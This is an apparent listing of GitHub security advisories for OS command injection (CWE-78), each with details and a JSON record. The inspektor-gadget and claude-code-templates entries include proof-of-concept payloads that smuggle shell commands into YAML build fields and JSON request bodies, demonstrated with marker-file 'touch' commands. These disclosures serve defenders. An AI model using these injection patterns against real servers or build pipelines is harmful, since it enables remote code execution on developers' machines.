CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
9832 vulnerabilities reference this CWE, most recent first.
GHSA-79H8-7735-V3F9
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2022-12-28 22:49Jenkins Selection tasks Plugin 1.0 and earlier executes a user-specified program on the Jenkins controller, allowing attackers with Job/Configure permission to execute an arbitrary system command on the Jenkins controller as the OS user that the Jenkins process is running as.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jvnet.hudson.plugins:selection-tasks-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2276"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-28T22:49:00Z",
"nvd_published_at": "2020-09-16T14:15:00Z",
"severity": "HIGH"
},
"details": "Jenkins Selection tasks Plugin 1.0 and earlier executes a user-specified program on the Jenkins controller, allowing attackers with Job/Configure permission to execute an arbitrary system command on the Jenkins controller as the OS user that the Jenkins process is running as.",
"id": "GHSA-79h8-7735-v3f9",
"modified": "2022-12-28T22:49:00Z",
"published": "2022-05-24T17:28:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2276"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/selection-tasks-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2020-09-16/#SECURITY-1967"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/09/16/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "System command execution vulnerability in Selection tasks Jenkins Plugin"
}
GHSA-79H8-GXHQ-Q3JG
Vulnerability from github – Published: 2024-06-24 00:34 – Updated: 2024-06-24 21:25A remote code execution vulnerability exists in the create_conda_env function of the parisneo/lollms repository. The vulnerability arises from the use of shell=True in the subprocess.Popen function, which allows an attacker to inject arbitrary commands by manipulating the env_name and python_version parameters. This issue could lead to a serious security breach as demonstrated by the ability to execute the 'whoami' command among potentially other harmful commands.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lollms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "9.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-3121"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-24T21:25:40Z",
"nvd_published_at": "2024-06-24T00:15:09Z",
"severity": "MODERATE"
},
"details": "A remote code execution vulnerability exists in the create_conda_env function of the parisneo/lollms repository. The vulnerability arises from the use of shell=True in the subprocess.Popen function, which allows an attacker to inject arbitrary commands by manipulating the env_name and python_version parameters. This issue could lead to a serious security breach as demonstrated by the ability to execute the \u0027whoami\u0027 command among potentially other harmful commands.",
"id": "GHSA-79h8-gxhq-q3jg",
"modified": "2024-06-24T21:25:40Z",
"published": "2024-06-24T00:34:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3121"
},
{
"type": "PACKAGE",
"url": "https://github.com/ParisNeo/lollms"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/db57c343-9b80-4c1c-9ab0-9eef92c9b27b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Remote Code Execution in create_conda_env function in lollms"
}
GHSA-79HF-9859-3Q69
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50Improper input sanitization within the restricted administration shell on UCOPIA Wireless Appliance devices using firmware version 5.1.x before 5.1.13 allows authenticated remote attackers to escape the shell and escalate their privileges by adding a LocalCommand to the SSH configuration file in the user home folder.
{
"affected": [],
"aliases": [
"CVE-2018-15481"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-21T16:29:00Z",
"severity": "HIGH"
},
"details": "Improper input sanitization within the restricted administration shell on UCOPIA Wireless Appliance devices using firmware version 5.1.x before 5.1.13 allows authenticated remote attackers to escape the shell and escalate their privileges by adding a LocalCommand to the SSH configuration file in the user home folder.",
"id": "GHSA-79hf-9859-3q69",
"modified": "2022-05-13T01:50:09Z",
"published": "2022-05-13T01:50:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15481"
},
{
"type": "WEB",
"url": "https://securite.intrinsec.com/2018/08/20/cve-2018-15481-ucopia-wireless-appliance-restricted-shell-escape-5-1-13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79HH-8F48-RMMR
Vulnerability from github – Published: 2022-05-24 17:15 – Updated: 2022-05-24 17:15Certain NETGEAR devices are affected by command injection by an authenticated user. This affects R7800 before 1.0.2.60 and XR500 before 2.3.2.32.
{
"affected": [],
"aliases": [
"CVE-2019-20706"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-16T19:15:00Z",
"severity": "MODERATE"
},
"details": "Certain NETGEAR devices are affected by command injection by an authenticated user. This affects R7800 before 1.0.2.60 and XR500 before 2.3.2.32.",
"id": "GHSA-79hh-8f48-rmmr",
"modified": "2022-05-24T17:15:26Z",
"published": "2022-05-24T17:15:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20706"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000061223/Security-Advisory-for-Post-Authentication-Command-Injection-on-R7800-and-XR500-PSV-2018-0354"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-79JG-9WX4-F5RR
Vulnerability from github – Published: 2026-10-01 18:32 – Updated: 2026-10-07 09:32A flaw was found in Foreman. The foreman-tail utility is vulnerable to OS command injection due to the unsafe use of the eval command. The script takes user-supplied arguments and incorporates them directly into a string that is then executed by eval to expand file paths. Because the input is not sanitized or quoted, a local attacker can inject shell metacharacters (e.g., ;, &, |) to execute arbitrary system commands.
{
"affected": [],
"aliases": [
"CVE-2026-12542"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-01T18:17:15Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Foreman. The foreman-tail utility is vulnerable to OS command injection due to the unsafe use of the eval command. The script takes user-supplied arguments and incorporates them directly into a string that is then executed by eval to expand file paths. Because the input is not sanitized or quoted, a local attacker can inject shell metacharacters (e.g., ;, \u0026, |) to execute arbitrary system commands.",
"id": "GHSA-79jg-9wx4-f5rr",
"modified": "2026-10-07T09:32:12Z",
"published": "2026-10-01T18:32:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12542"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74503"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74504"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74505"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74506"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-12542"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489971"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/07/7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-79M5-M533-XQ7V
Vulnerability from github – Published: 2025-11-05 17:48 – Updated: 2025-11-05 17:48Dell CloudLink, versions 8.0 through 8.1.2, contain vulnerability on restricted shell. A Privileged user with known password can break into command shell of CloudLink server and gain access of shell and escalate privilege, gain unauthorized access of system.
If ssh is enabled with web credentials of server, attack is possible through network with known privileged user/password.
{
"affected": [],
"aliases": [
"CVE-2025-45378"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-05T17:15:41Z",
"severity": "CRITICAL"
},
"details": "Dell CloudLink, versions 8.0 through 8.1.2, contain vulnerability on restricted shell. A Privileged user with known password can break into command shell of CloudLink server and gain access of shell and escalate privilege, gain unauthorized access of system.\n\nIf ssh is enabled with web credentials of server, attack is possible through network with known privileged user/password.",
"id": "GHSA-79m5-m533-xq7v",
"modified": "2025-11-05T17:48:29Z",
"published": "2025-11-05T17:48:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45378"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000384363/dsa-2025-374-security-update-for-dell-cloudlink-multiple-security-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79QM-H35F-HR77
Vulnerability from github – Published: 2021-04-13 15:23 – Updated: 2022-01-04 19:48compile-sass prior to 1.0.5 allows execution of arbritary commands. The function "setupCleanupOnExit(cssPath)" within "dist/index.js" is executed as part of the "rm" command without any sanitization.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "compile-sass"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10799"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-08T20:21:56Z",
"nvd_published_at": "2020-02-24T18:15:00Z",
"severity": "HIGH"
},
"details": "compile-sass prior to 1.0.5 allows execution of arbritary commands. The function \u0026quot;setupCleanupOnExit(cssPath)\u0026quot; within \u0026quot;dist/index.js\u0026quot; is executed as part of the \u0026quot;rm\u0026quot; command without any sanitization.",
"id": "GHSA-79qm-h35f-hr77",
"modified": "2022-01-04T19:48:58Z",
"published": "2021-04-13T15:23:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10799"
},
{
"type": "WEB",
"url": "https://github.com/eiskalteschatten/compile-sass/commit/d9ada7797ff93875b6466dea7a78768e90a0f8d2"
},
{
"type": "PACKAGE",
"url": "https://github.com/eiskalteschatten/compile-sass"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-COMPILESASS-551804"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-RPI-548942"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS Command Injection in compile-sass"
}
GHSA-79QW-G77V-2VFH
Vulnerability from github – Published: 2026-04-22 17:44 – Updated: 2026-04-30 19:21Impacted Resources
inspektor-gadget/cmd/common/image/build.go
inspektor-gadget/cmd/common/image/helpers/Makefile.build
Description
The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.
A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.
The following is the code responsible to construct the build command:
func buildCmd(options buildOptions) []string {
cmd := []string{
"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
"-j", fmt.Sprintf("%d", runtime.NumCPU()),
"OUTPUTDIR=" + options.outputDir,
"CFLAGS=" + options.cFlags,
"FORCE_COLORS=" + options.forceColorsFlag,
}
if options.ebpfSourcePath != "" {
cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
}
if options.wasmSourcePath != "" {
cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
}
if options.btfgen {
cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
}
return cmd
}
The Makefile.build file is the Makefile template employed during the building process.
This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.
This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.
Impact
An attacker able to exploit this vulnerability would be able to execute arbitray command:
- on the Linux host where the ig command is launched, if images are built with the --local flag
- on the build container invoked by ig, if the --local flag is not provided
Attack Complexity
The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.
Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.
PoC
PoC 1 (Vector: cflags)
- Create the file
build.yamlwith the following content:
ebpfsource: "program.bpf.c"
metadata: "gadget.yaml"
cflags: " ; touch poc1.txt ; "
- Create the file
gadget.yamlwith the following content:
name: test
description: test gadget
- Create the file
program.bpf.cwith the following content:
#include <gadget/gadget.h>
char LICENSE[] SEC("license") = "GPL";
- In the same directory where the files are run the command:
ig image build . -t test:latest
- Notice that the file
poc1.txtgets created inside the directory.
PoC2 (Vector: ebpfsource, wasm)
- Create the file
build.yamlwith the following content:
ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
- Create the file
$(shell touch poc2-1.txt):
touch '$(shell touch poc2-1.txt)'
- In the same directory where the files are run the command:
ig image build .
- Notice that the files
poc2-1.txtandpoc2-2.txtget created inside the directory.
PoC3 (Vector: -o, --output)
- Create the file
build.yamlwith the following content:
wasm: dummy.go
- Create the file
gadget.yamlwith the following content:
name: test
- Create the directory
$(shell touch poc3.txt):
touch '$(shell touch poc3.txt)'
- Retrieve the full path of the created directory:
readlink -f '$(shell touch poc3.txt)'
- In the same directory where the files are run the command replacing the
<PATH>placeholder with the value retrieved at step 4:
ig image build . --local -o '<PATH>'
- Notice that the file
poc3.txtgets created inside the directory.
PoC4 (Vector: --btfhub-archive)
- Create the file
build.yamlwith the following content:
ebpfsource: test.c
- Create the file
test.c:
touch test.c
- In the same directory where the files are run the command
sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'
- Notice that the file
poc4.txtgets created inside the directory.
Suggested Remediation
Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution.
References
- https://cwe.mitre.org/data/definitions/77.html
- https://cwe.mitre.org/data/definitions/78.html
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/inspektor-gadget/inspektor-gadget"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.51.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24905"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:44:22Z",
"nvd_published_at": "2026-01-29T22:15:55Z",
"severity": "MODERATE"
},
"details": "### Impacted Resources\n\n`inspektor-gadget/cmd/common/image/build.go`\n`inspektor-gadget/cmd/common/image/helpers/Makefile.build`\n\n### Description\n\nThe `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images.\n\nA part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`.\n\nThe following is the code responsible to construct the build command:\n```go\nfunc buildCmd(options buildOptions) []string {\n\tcmd := []string{\n\t\t\"make\", \"-f\", filepath.Join(options.outputDir, \"Makefile.build\"),\n\t\t\"-j\", fmt.Sprintf(\"%d\", runtime.NumCPU()),\n\t\t\"OUTPUTDIR=\" + options.outputDir,\n\t\t\"CFLAGS=\" + options.cFlags,\n\t\t\"FORCE_COLORS=\" + options.forceColorsFlag,\n\t}\n\n\tif options.ebpfSourcePath != \"\" {\n\t\tcmd = append(cmd, \"EBPFSOURCE=\"+options.ebpfSourcePath, \"ebpf\")\n\t}\n\tif options.wasmSourcePath != \"\" {\n\t\tcmd = append(cmd, \"WASM=\"+options.wasmSourcePath, \"wasm\")\n\t}\n\tif options.btfgen {\n\t\tcmd = append(cmd, \"BTFHUB_ARCHIVE=\"+options.btfHubArchivePath, \"btfgen\")\n\t}\n\n\treturn cmd\n}\n```\n\nThe `Makefile.build` file is the Makefile template employed during the building process.\n\nThis file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.\n\nThis implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process.\n\n\n### Impact\n\nAn attacker able to exploit this vulnerability would be able to execute arbitray command: \n- on the Linux host where the `ig` command is launched, if images are built with the `--local` flag\n- on the build container invoked by `ig`, if the `--local` flag is not provided\n\n### Attack Complexity\n\nThe `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options.\n\nTypically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.\n\n### PoC\n\n#### PoC 1 (Vector: cflags)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"program.bpf.c\" \nmetadata: \"gadget.yaml\" \ncflags: \" ; touch poc1.txt ; \"\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test \ndescription: test gadget \n```\n3. Create the file `program.bpf.c` with the following content:\n```\n#include \u003cgadget/gadget.h\u003e \nchar LICENSE[] SEC(\"license\") = \"GPL\";\n```\n4. In the same directory where the files are run the command:\n```\nig image build . -t test:latest\n```\n5. Notice that the file `poc1.txt` gets created inside the directory.\n\n#### PoC2 (Vector: ebpfsource, wasm)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"$(shell touch poc2-1.txt)\"\nwasm: \"$(shell touch poc2-2.txt)\"\n```\n2. Create the file `$(shell touch poc2-1.txt)`:\n```\ntouch \u0027$(shell touch poc2-1.txt)\u0027\n```\n3. In the same directory where the files are run the command:\n```\nig image build .\n```\n4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory.\n\n#### PoC3 (Vector: -o, --output)\n\n1. Create the file `build.yaml` with the following content:\n```\nwasm: dummy.go\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test\n```\n3. Create the directory `$(shell touch poc3.txt)`:\n```\ntouch \u0027$(shell touch poc3.txt)\u0027\n```\n4. Retrieve the full path of the created directory:\n```\nreadlink -f \u0027$(shell touch poc3.txt)\u0027\n```\n5. In the same directory where the files are run the command replacing the `\u003cPATH\u003e` placeholder with the value retrieved at step 4:\n```\nig image build . --local -o \u0027\u003cPATH\u003e\u0027\n```\n6. Notice that the file `poc3.txt` gets created inside the directory.\n\n#### PoC4 (Vector: --btfhub-archive)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: test.c\n```\n2. Create the file `test.c`:\n```\ntouch test.c\n```\n3. In the same directory where the files are run the command\n```\nsudo ig image build . --local --btfgen --btfhub-archive $(pwd)/\u0027$(shell touch poc4.txt)\u0027\n```\n4. Notice that the file `poc4.txt` gets created inside the directory.\n\n### Suggested Remediation\n\nSanitize build options by providing a robust whitelist to filter on.\nAlternatively, revisit the design of image building to prevent shell substitution.\n\n### References\n\n- https://cwe.mitre.org/data/definitions/77.html\n- https://cwe.mitre.org/data/definitions/78.html",
"id": "GHSA-79qw-g77v-2vfh",
"modified": "2026-04-30T19:21:16Z",
"published": "2026-04-22T17:44:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-79qw-g77v-2vfh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24905"
},
{
"type": "WEB",
"url": "https://github.com/inspektor-gadget/inspektor-gadget/commit/7c83ad84ff7a68565655253e2cf1c5d2da695c1a"
},
{
"type": "WEB",
"url": "https://github.com/inspektor-gadget/inspektor-gadget/commit/d9bf2fe4a180dad33ce57ca793ff4799ee7b8320"
},
{
"type": "PACKAGE",
"url": "https://github.com/inspektor-gadget/inspektor-gadget"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Inspektor Gadget: Command Injection via malicious buildOptions manipulation"
}
GHSA-79WF-QCQV-R22R
Vulnerability from github – Published: 2021-08-25 20:56 – Updated: 2021-08-18 21:21An issue was discovered in the better-macro crate through 2021-07-22 for Rust. It intentionally demonstrates that remote attackers can execute arbitrary code via proc-macros, and otherwise has no legitimate purpose.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "better-macro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-38196"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-18T21:21:03Z",
"nvd_published_at": "2021-08-08T06:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the better-macro crate through 2021-07-22 for Rust. It intentionally demonstrates that remote attackers can execute arbitrary code via proc-macros, and otherwise has no legitimate purpose.",
"id": "GHSA-79wf-qcqv-r22r",
"modified": "2021-08-18T21:21:03Z",
"published": "2021-08-25T20:56:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38196"
},
{
"type": "PACKAGE",
"url": "https://github.com/raycar5/better-macro"
},
{
"type": "WEB",
"url": "https://github.com/raycar5/better-macro/blob/24ff1702397b9c19bbfa4c660e2316cd77d3b900/src/lib.rs#L36-L38"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2021-0077.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Remote code execution in better-macro"
}
GHSA-79WM-X847-7CVG
Vulnerability from github – Published: 2026-09-03 19:50 – Updated: 2026-09-03 19:50Summary
npx claude-code-templates --studio launches "Claude Code Studio", an Express HTTP server (cli-tool/src/sandbox-server.js, default port 3444) that binds to all interfaces (0.0.0.0), sets Access-Control-Allow-Origin: *, and requires no authentication. Two POST endpoints pass attacker-controlled request-body fields into child_process.spawn(..., { shell: true }). Because shell: true makes Node join the argv array into a single sh -c string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port — a malicious web page the developer visits, or anyone on the same LAN — can execute arbitrary OS commands on the developer's machine.
Details
In cli-tool/src/sandbox-server.js:
app.listen(PORT, ...)is called with no host argument, so the server listens on0.0.0.0/::(reachable from the LAN, not just localhost).- The CORS middleware sends
Access-Control-Allow-Origin: *and answers the preflightOPTIONSfor any origin, so a browser will deliver cross-origin POSTs to it. - There is no authentication on any endpoint.
The vulnerable sinks:
-
POST /api/execute— thepromptbody field flows intoexecuteLocalTask(): ```js const child = spawn('claude', [finalPrompt], { /* ... */ shell: true }); The only validation on prompt is a length check (>= 10 chars). With shell: true, finalPrompt is interpreted by the shell. -
POST /api/install-agent — the agentName body field: const child = spawn('npx', ['claude-code-templates@latest', '--agent', agentName, '--yes'], { /* ... */ shell: true });
- agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute's agent field via checkAndInstallAgent().)
Root cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries — Node builds cmd + ' ' + argsArray.join(' ') and runs it via sh -c, so every element is subject to shell parsing.
PoC
Victim
npx claude-code-templates --studio # server on 0.0.0.0:3444
Attacker (another LAN host, or a malicious web page fetch(), or locally)
curl -s -X POST http://127.0.0.1:3444/api/execute \ -H 'Content-Type: application/json' \ --data '{"prompt":"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF","mode":"local"}'
curl -s -X POST http://127.0.0.1:3444/api/install-agent \ -H 'Content-Type: application/json' \ --data '{"agentName":"x; touch /tmp/CCT_AGENT_PROOF #"}'
ls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF # both created => injected commands ran The aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed — the injected segment runs regardless.
Confirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on *:3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: *.
Impact
Unauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths: - Drive-by: a developer running --studio who visits an attacker-controlled web page — the page's cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction. - LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.
Impact is full compromise of the developer's user account (arbitrary command execution with the developer's privileges): source code, SSH keys, cloud credentials, and .env secrets.
Suggested fix
- Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).
- Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).
- Bind to loopback only (app.listen(PORT, '127.0.0.1', ...)).
- Replace the wildcard CORS with a same-origin allowlist and reject other origins.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.29.2"
},
"package": {
"ecosystem": "npm",
"name": "claude-code-templates"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73222"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-352",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T19:50:47Z",
"nvd_published_at": "2026-08-11T19:18:51Z",
"severity": "HIGH"
},
"details": "### Summary\n`npx claude-code-templates --studio` launches \"Claude Code Studio\", an Express HTTP server (`cli-tool/src/sandbox-server.js`, default port 3444) that binds to **all interfaces** (`0.0.0.0`), sets `Access-Control-Allow-Origin: *`, and requires **no authentication**. Two POST endpoints pass attacker-controlled request-body fields into `child_process.spawn(..., { shell: true })`. Because `shell: true` makes Node join the argv array into a single `sh -c` string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port \u2014 a malicious web page the developer visits, or anyone on the same LAN \u2014 can execute arbitrary OS commands on the developer\u0027s machine.\n\n### Details\nIn `cli-tool/src/sandbox-server.js`:\n\n- `app.listen(PORT, ...)` is called with no host argument, so the server listens on `0.0.0.0` / `::` (reachable from the LAN, not just localhost).\n- The CORS middleware sends `Access-Control-Allow-Origin: *` and answers the preflight `OPTIONS` for any origin, so a browser will deliver cross-origin POSTs to it.\n- There is no authentication on any endpoint.\n\nThe vulnerable sinks:\n\n1. `POST /api/execute` \u2014 the `prompt` body field flows into `executeLocalTask()`:\n ```js\n const child = spawn(\u0027claude\u0027, [finalPrompt], { /* ... */ shell: true });\n The only validation on prompt is a length check (\u003e= 10 chars). With shell: true, finalPrompt is interpreted by the shell.\n\n2. POST /api/install-agent \u2014 the agentName body field:\nconst child = spawn(\u0027npx\u0027, [\u0027claude-code-templates@latest\u0027, \u0027--agent\u0027, agentName, \u0027--yes\u0027], { /* ... */ shell: true });\n2. agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute\u0027s agent field via checkAndInstallAgent().)\n\nRoot cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries \u2014 Node builds cmd + \u0027 \u0027 + argsArray.join(\u0027 \u0027) and runs it via sh -c, so every element is subject to shell parsing.\n\nPoC\n\n# Victim\nnpx claude-code-templates --studio # server on 0.0.0.0:3444\n\n# Attacker (another LAN host, or a malicious web page fetch(), or locally)\ncurl -s -X POST http://127.0.0.1:3444/api/execute \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"prompt\":\"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF\",\"mode\":\"local\"}\u0027\n\ncurl -s -X POST http://127.0.0.1:3444/api/install-agent \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"agentName\":\"x; touch /tmp/CCT_AGENT_PROOF #\"}\u0027\n\nls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF # both created =\u003e injected commands ran\nThe aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed \u2014 the injected segment runs regardless.\n\nConfirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on *:3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: *.\n\nImpact\n\nUnauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths:\n- Drive-by: a developer running --studio who visits an attacker-controlled web page \u2014 the page\u0027s cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction.\n- LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.\n\nImpact is full compromise of the developer\u0027s user account (arbitrary command execution with the developer\u0027s privileges): source code, SSH keys, cloud credentials, and .env 